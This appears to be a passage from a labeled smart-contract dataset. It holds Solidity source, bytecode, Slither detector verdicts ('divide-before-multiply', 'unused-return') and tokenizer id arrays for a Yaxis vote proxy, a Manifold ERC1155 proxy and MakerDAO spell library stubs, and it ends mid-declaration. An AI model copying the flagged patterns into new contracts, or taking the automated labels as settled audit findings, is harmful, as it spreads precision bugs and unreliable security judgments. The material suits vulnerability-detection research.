[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,340
0x9699a42fbacbe3c48ba11e519779600abf772029
interface IVoteProxy { function decimals() external pure returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address _voter) external view returns (uint256); } interface IMasterChef { function userInfo(uint256, address) external view returns (uint256, uint256); } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } interface IUniswapV2Pair is IERC20 { function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); } contract YaxUniVoteProxy is IVoteProxy { // ETH/YAX token IUniswapV2Pair public constant yaxEthUniswapV2Pair = IUniswapV2Pair( 0x1107B6081231d7F256269aD014bF92E041cb08df ); // YAX token IERC20 public constant yax = IERC20( 0xb1dC9124c395c1e97773ab855d66E879f053A289 ); // YaxisChef contract IMasterChef public constant chef = IMasterChef( 0xC330E7e73717cd13fb6bA068Ee871584Cf8A194F ); function decimals() public override virtual pure returns (uint8) { return uint8(18); } function totalSupply() public override virtual view returns (uint256) { (uint256 _yaxAmount,,) = yaxEthUniswapV2Pair.getReserves(); return sqrt(yax.totalSupply()) + sqrt((2 * _yaxAmount * yaxEthUniswapV2Pair.balanceOf(address(chef))) / yaxEthUniswapV2Pair.totalSupply()); } function balanceOf(address _voter) public override virtual view returns (uint256) { (uint256 _stakeAmount,) = chef.userInfo(6, _voter); (uint256 _yaxAmount,,) = yaxEthUniswapV2Pair.getReserves(); return sqrt(yax.balanceOf(_voter)) + sqrt((2 * _yaxAmount * _stakeAmount) / yaxEthUniswapV2Pair.totalSupply()); } function sqrt(uint256 x) public pure returns (uint256 y) { uint256 z = (x + 1) / 2; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } y = y * (10 ** 9); } } interface IYaxisBar is IERC20 { function availableBalance() external view returns (uint); } contract YaxUniYaxisBarVoteProxy is YaxUniVoteProxy { IYaxisBar public constant yaxisBar = IYaxisBar( 0xeF31Cb88048416E301Fee1eA13e7664b887BA7e8 ); function totalSupply() public override view returns (uint256) { return super.totalSupply() + sqrt(yaxisBar.availableBalance()); } function balanceOf(address _voter) public override view returns (uint256) { uint256 _yaxAmount = (yaxisBar.balanceOf(_voter) * yaxisBar.availableBalance()) / yaxisBar.totalSupply() ; return super.balanceOf(_voter) + sqrt(_yaxAmount); } }
0x608060405234801561001057600080fd5b50600436106100885760003560e01c8063677342ce1161005b578063677342ce146100f157806370a082311461010e5780637b66254e14610134578063e65a715e1461013c57610088565b806318160ddd1461008d5780631fc8bc5d146100a75780632f2a04be146100cb578063313ce567146100d3575b600080fd5b610095610144565b60408051918252519081900360200190f35b6100af6101d5565b604080516001600160a01b039092168252519081900360200190f35b6100af6101ed565b6100db610205565b6040805160ff9092168252519081900360200190f35b6100956004803603602081101561010757600080fd5b503561020a565b6100956004803603602081101561012457600080fd5b50356001600160a01b0316610247565b6100af6103e5565b6100af6103fd565b60006101c773ef31cb88048416e301fee1ea13e7664b887ba7e86001600160a01b031663ab2f0e516040518163ffffffff1660e01b815260040160206040518083038186803b15801561019657600080fd5b505afa1580156101aa573d6000803e3d6000fd5b505050506040513d60208110156101c057600080fd5b505161020a565b6101cf610415565b01905090565b73c330e7e73717cd13fb6ba068ee871584cf8a194f81565b73b1dc9124c395c1e97773ab855d66e879f053a28981565b601290565b80600260018201045b8181101561023b5780915060028182858161022a57fe5b04018161023357fe5b049050610213565b50633b9aca0002919050565b60008073ef31cb88048416e301fee1ea13e7664b887ba7e86001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561029757600080fd5b505afa1580156102ab573d6000803e3d6000fd5b505050506040513d60208110156102c157600080fd5b50516040805163ab2f0e5160e01b8152905173ef31cb88048416e301fee1ea13e7664b887ba7e89163ab2f0e51916004808301926020929190829003018186803b15801561030e57600080fd5b505afa158015610322573d6000803e3d6000fd5b505050506040513d602081101561033857600080fd5b5051604080516370a0823160e01b81526001600160a01b0387166004820152905173ef31cb88048416e301fee1ea13e7664b887ba7e8916370a08231916024808301926020929190829003018186803b15801561039457600080fd5b505afa1580156103a8573d6000803e3d6000fd5b505050506040513d60208110156103be57600080fd5b505102816103c857fe5b0490506103d48161020a565b6103dd84610613565b019392505050565b731107b6081231d7f256269ad014bf92e041cb08df81565b73ef31cb88048416e301fee1ea13e7664b887ba7e881565b600080731107b6081231d7f256269ad014bf92e041cb08df6001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561046557600080fd5b505afa158015610479573d6000803e3d6000fd5b505050506040513d606081101561048f57600080fd5b5051604080516318160ddd60e01b815290516001600160701b0390921692506105bc91731107b6081231d7f256269ad014bf92e041cb08df916318160ddd916004808301926020929190829003018186803b1580156104ed57600080fd5b505afa158015610501573d6000803e3d6000fd5b505050506040513d602081101561051757600080fd5b5051604080516370a0823160e01b815273c330e7e73717cd13fb6ba068ee871584cf8a194f60048201529051731107b6081231d7f256269ad014bf92e041cb08df916370a08231916024808301926020929190829003018186803b15801561057e57600080fd5b505afa158015610592573d6000803e3d6000fd5b505050506040513d60208110156105a857600080fd5b50518302600202816105b657fe5b0461020a565b61060c73b1dc9124c395c1e97773ab855d66e879f053a2896001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561019657600080fd5b0191505090565b604080516393f1a40b60e01b8152600660048201526001600160a01b03831660248201528151600092839273c330e7e73717cd13fb6ba068ee871584cf8a194f926393f1a40b92604480840193919291829003018186803b15801561067757600080fd5b505afa15801561068b573d6000803e3d6000fd5b505050506040513d60408110156106a157600080fd5b505160408051630240bc6b60e21b81529051919250600091731107b6081231d7f256269ad014bf92e041cb08df91630902f1ac916004808301926060929190829003018186803b1580156106f457600080fd5b505afa158015610708573d6000803e3d6000fd5b505050506040513d606081101561071e57600080fd5b5051604080516318160ddd60e01b815290516001600160701b0390921692506107b591731107b6081231d7f256269ad014bf92e041cb08df916318160ddd916004808301926020929190829003018186803b15801561077c57600080fd5b505afa158015610790573d6000803e3d6000fd5b505050506040513d60208110156107a657600080fd5b5051828402600202816105b657fe5b61081973b1dc9124c395c1e97773ab855d66e879f053a2896001600160a01b03166370a08231876040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b15801561019657600080fd5b0194935050505056fea2646970667358221220c94e97a4d2629b15513caf638b69d4787f0533ab658a1e09df2a8a370624422864736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2683, 2683, 2050, 20958, 26337, 6305, 4783, 2509, 2278, 18139, 3676, 14526, 2063, 22203, 2683, 2581, 2581, 2683, 16086, 2692, 7875, 2546, 2581, 2581, 11387, 24594, 8278, 28346, 2618, 21572, 18037, 1063, 3853, 26066, 2015, 1006, 1007, 6327, 5760, 5651, 1006, 21318, 3372, 2620, 1007, 1025, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 1035, 14303, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1065, 8278, 10047, 24268, 5403, 2546, 1063, 3853, 5310, 2378, 14876, 1006, 21318, 3372, 17788, 2575, 1010, 4769, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1010, 21318, 3372, 17788, 2575, 1007, 1025, 1065, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,341
0x969ac8606649bbc85b67ed7f6d5cb35ee73385e8
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @title: pesaDAO /// @author: manifold.xyz import "./ERC1155Creator.sol"; /////////////////////////////// // // // // // Pesadao, since 2022 // // // // // /////////////////////////////// contract TAMPINHAS is ERC1155Creator { constructor() ERC1155Creator() {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/proxy/Proxy.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/StorageSlot.sol"; contract ERC1155Creator is Proxy { constructor() { assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0x142FD5b9d67721EfDA3A5E2E9be47A96c9B724A4; Address.functionDelegateCall( 0x142FD5b9d67721EfDA3A5E2E9be47A96c9B724A4, abi.encodeWithSignature("initialize()") ); } /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation address. */ function implementation() public view returns (address) { return _implementation(); } function _implementation() internal override view returns (address) { return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.6.0) (proxy/Proxy.sol) pragma solidity ^0.8.0; /** * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to * be specified by overriding the virtual {_implementation} function. * * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a * different contract through the {_delegate} function. * * The success and return data of the delegated call will be returned back to the caller of the proxy. */ abstract contract Proxy { /** * @dev Delegates the current call to `implementation`. * * This function does not return to its internal call site, it will return directly to the external caller. */ function _delegate(address implementation) internal virtual { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev This is a virtual function that should be overridden so it returns the address to which the fallback function * and {_fallback} should delegate. */ function _implementation() internal view virtual returns (address); /** * @dev Delegates the current call to the address returned by `_implementation()`. * * This function does not return to its internal call site, it will return directly to the external caller. */ function _fallback() internal virtual { _beforeFallback(); _delegate(_implementation()); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other * function in the contract matches the call data. */ fallback() external payable virtual { _fallback(); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data * is empty. */ receive() external payable virtual { _fallback(); } /** * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback` * call, or as part of the Solidity `fallback` or `receive` functions. * * If overridden should call `super._beforeFallback()`. */ function _beforeFallback() internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol) pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } }
0x6080604052600436106100225760003560e01c80635c60da1b1461003957610031565b366100315761002f61006a565b005b61002f61006a565b34801561004557600080fd5b5061004e6100a5565b6040516001600160a01b03909116815260200160405180910390f35b6100a361009e7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b61010c565b565b60006100d87f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b905090565b90565b606061010583836040518060600160405280602781526020016102cb60279139610130565b9392505050565b3660008037600080366000845af43d6000803e80801561012b573d6000f35b3d6000fd5b60606001600160a01b0384163b61019d5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084015b60405180910390fd5b600080856001600160a01b0316856040516101b8919061024b565b600060405180830381855af49150503d80600081146101f3576040519150601f19603f3d011682016040523d82523d6000602084013e6101f8565b606091505b5091509150610208828286610212565b9695505050505050565b60608315610221575081610105565b8251156102315782518084602001fd5b8160405162461bcd60e51b81526004016101949190610267565b6000825161025d81846020870161029a565b9190910192915050565b602081526000825180602084015261028681604085016020870161029a565b601f01601f19169190910160400192915050565b60005b838110156102b557818101518382015260200161029d565b838111156102c4576000848401525b5050505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a264697066735822122036cb804ebd3bed14e0c7ec7c58c8d34ceb13edc744f25dfb0b651b73e00c168b64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2683, 6305, 20842, 2692, 28756, 26224, 10322, 2278, 27531, 2497, 2575, 2581, 2098, 2581, 2546, 2575, 2094, 2629, 27421, 19481, 4402, 2581, 22394, 27531, 2063, 2620, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1013, 1013, 1030, 2516, 1024, 21877, 3736, 2850, 2080, 1013, 1013, 1013, 1030, 3166, 1024, 19726, 1012, 1060, 2100, 2480, 12324, 1000, 1012, 1013, 9413, 2278, 14526, 24087, 16748, 8844, 1012, 14017, 1000, 1025, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,342
0x969b3701a17391f2906d8c5e5d816abcd9d0f199
// hevm: flattened sources of src/DssSpell.sol pragma solidity =0.6.11 >=0.6.11 <0.7.0; ////// lib/dss-exec-lib/src/CollateralOpts.sol /* pragma solidity ^0.6.11; */ struct CollateralOpts { bytes32 ilk; address gem; address join; address flip; address pip; bool isLiquidatable; bool isOSM; bool whitelistOSM; uint256 ilkDebtCeiling; uint256 minVaultAmount; uint256 maxLiquidationAmount; uint256 liquidationPenalty; uint256 ilkStabilityFee; uint256 bidIncrease; uint256 bidDuration; uint256 auctionDuration; uint256 liquidationRatio; } ////// lib/dss-exec-lib/src/DssExecLib.sol // // DssExecLib.sol -- MakerDAO Executive Spellcrafting Library // // Copyright (C) 2020 Maker Ecosystem Growth Holdings, Inc. // // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU Affero General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU Affero General Public License for more details. // // You should have received a copy of the GNU Affero General Public License // along with this program. If not, see <https://www.gnu.org/licenses/>. /* pragma solidity ^0.6.11; */ interface Initializable { function init(bytes32) external; } interface Authorizable { function rely(address) external; function deny(address) external; } interface Fileable_1 { function file(bytes32, address) external; function file(bytes32, uint256) external; function file(bytes32, bytes32, uint256) external; function file(bytes32, bytes32, address) external; } interface Drippable { function drip() external returns (uint256); function drip(bytes32) external returns (uint256); } interface Pricing { function poke(bytes32) external; } interface ERC20 { function decimals() external returns (uint8); } interface DssVat { function hope(address) external; function nope(address) external; function ilks(bytes32) external returns (uint256 Art, uint256 rate, uint256 spot, uint256 line, uint256 dust); function Line() external view returns (uint256); function suck(address, address, uint) external; } interface AuctionLike { function vat() external returns (address); function cat() external returns (address); // Only flip function beg() external returns (uint256); function pad() external returns (uint256); // Only flop function ttl() external returns (uint256); function tau() external returns (uint256); function ilk() external returns (bytes32); // Only flip function gem() external returns (bytes32); // Only flap/flop } interface JoinLike { function vat() external returns (address); function ilk() external returns (bytes32); function gem() external returns (address); function dec() external returns (uint256); function join(address, uint) external; function exit(address, uint) external; } // Includes Median and OSM functions interface OracleLike_2 { function src() external view returns (address); function lift(address[] calldata) external; function drop(address[] calldata) external; function setBar(uint256) external; function kiss(address) external; function diss(address) external; function kiss(address[] calldata) external; function diss(address[] calldata) external; } interface MomLike { function setOsm(bytes32, address) external; } interface RegistryLike { function add(address) external; function info(bytes32) external view returns ( string memory, string memory, uint256, address, address, address, address ); function ilkData(bytes32) external view returns ( uint256 pos, address gem, address pip, address join, address flip, uint256 dec, string memory name, string memory symbol ); } // https://github.com/makerdao/dss-chain-log interface ChainlogLike { function setVersion(string calldata) external; function setIPFS(string calldata) external; function setSha256sum(string calldata) external; function getAddress(bytes32) external view returns (address); function setAddress(bytes32, address) external; function removeAddress(bytes32) external; } interface IAMLike { function ilks(bytes32) external view returns (uint256,uint256,uint48,uint48,uint48); function setIlk(bytes32,uint256,uint256,uint256) external; function remIlk(bytes32) external; function exec(bytes32) external returns (uint256); } library DssExecLib { // Function stubs - check the actual library address for implementations function dai() public view returns (address) {} function mkr() public view returns (address) {} function vat() public view returns (address) {} function cat() public view returns (address) {} function jug() public view returns (address) {} function pot() public view returns (address) {} function vow() public view returns (address) {} function end() public view returns (address) {} function reg() public view returns (address) {} function spotter() public view returns (address) {} function flap() public view returns (address) {} function flop() public view returns (address) {} function osmMom() public view returns (address) {} function govGuard() public view returns (address) {} function flipperMom() public view returns (address) {} function pauseProxy() public view returns (address) {} function autoLine() public view returns (address) {} function daiJoin() public view returns (address) {} function flip(bytes32 ilk) public view returns (address _flip) { } function getChangelogAddress(bytes32 key) public view returns (address) { } function setChangelogAddress(bytes32 _key, address _val) public { } function setChangelogVersion(string memory _version) public { } function setChangelogIPFS(string memory _ipfsHash) public { } function setChangelogSHA256(string memory _SHA256Sum) public { } function authorize(address _base, address _ward) public { } function deauthorize(address _base, address _ward) public { } function delegateVat(address _usr) public { } function undelegateVat(address _usr) public { } function accumulateDSR() public { } function accumulateCollateralStabilityFees(bytes32 _ilk) public { } function updateCollateralPrice(bytes32 _ilk) public { } function setContract(address _base, bytes32 _what, address _addr) public { } function setContract(address _base, bytes32 _ilk, bytes32 _what, address _addr) public { } function setGlobalDebtCeiling(uint256 _amount) public { } function increaseGlobalDebtCeiling(uint256 _amount) public { } function decreaseGlobalDebtCeiling(uint256 _amount) public { } function setDSR(uint256 _rate) public { } function setSurplusAuctionAmount(uint256 _amount) public { } function setSurplusBuffer(uint256 _amount) public { } function setMinSurplusAuctionBidIncrease(uint256 _pct_bps) public { } function setSurplusAuctionBidDuration(uint256 _duration) public { } function setSurplusAuctionDuration(uint256 _duration) public { } function setDebtAuctionDelay(uint256 _duration) public { } function setDebtAuctionDAIAmount(uint256 _amount) public { } function setDebtAuctionMKRAmount(uint256 _amount) public { } function setMinDebtAuctionBidIncrease(uint256 _pct_bps) public { } function setDebtAuctionBidDuration(uint256 _duration) public { } function setDebtAuctionDuration(uint256 _duration) public { } function setDebtAuctionMKRIncreaseRate(uint256 _pct_bps) public { } function setMaxTotalDAILiquidationAmount(uint256 _amount) public { } function setEmergencyShutdownProcessingTime(uint256 _duration) public { } function setGlobalStabilityFee(uint256 _rate) public { } function setDAIReferenceValue(uint256 _value) public { } function setIlkDebtCeiling(bytes32 _ilk, uint256 _amount) public { } function increaseIlkDebtCeiling(bytes32 _ilk, uint256 _amount, bool _global) public { } function decreaseIlkDebtCeiling(bytes32 _ilk, uint256 _amount, bool _global) public { } function setIlkAutoLineParameters(bytes32 _ilk, uint256 _amount, uint256 _gap, uint256 _ttl) public { } function setIlkAutoLineDebtCeiling(bytes32 _ilk, uint256 _amount) public { } function removeIlkFromAutoLine(bytes32 _ilk) public { } function setIlkMinVaultAmount(bytes32 _ilk, uint256 _amount) public { } function setIlkLiquidationPenalty(bytes32 _ilk, uint256 _pct_bps) public { } function setIlkMaxLiquidationAmount(bytes32 _ilk, uint256 _amount) public { } function setIlkLiquidationRatio(bytes32 _ilk, uint256 _pct_bps) public { } function setIlkMinAuctionBidIncrease(bytes32 _ilk, uint256 _pct_bps) public { } function setIlkBidDuration(bytes32 _ilk, uint256 _duration) public { } function setIlkAuctionDuration(bytes32 _ilk, uint256 _duration) public { } function setIlkStabilityFee(bytes32 _ilk, uint256 _rate, bool _doDrip) public { } function addWritersToMedianWhitelist(address _median, address[] memory _feeds) public { OracleLike_2(_median).lift(_feeds); } function removeWritersFromMedianWhitelist(address _median, address[] memory _feeds) public { OracleLike_2(_median).drop(_feeds); } function addReadersToMedianWhitelist(address _median, address[] memory _readers) public { OracleLike_2(_median).kiss(_readers); } function 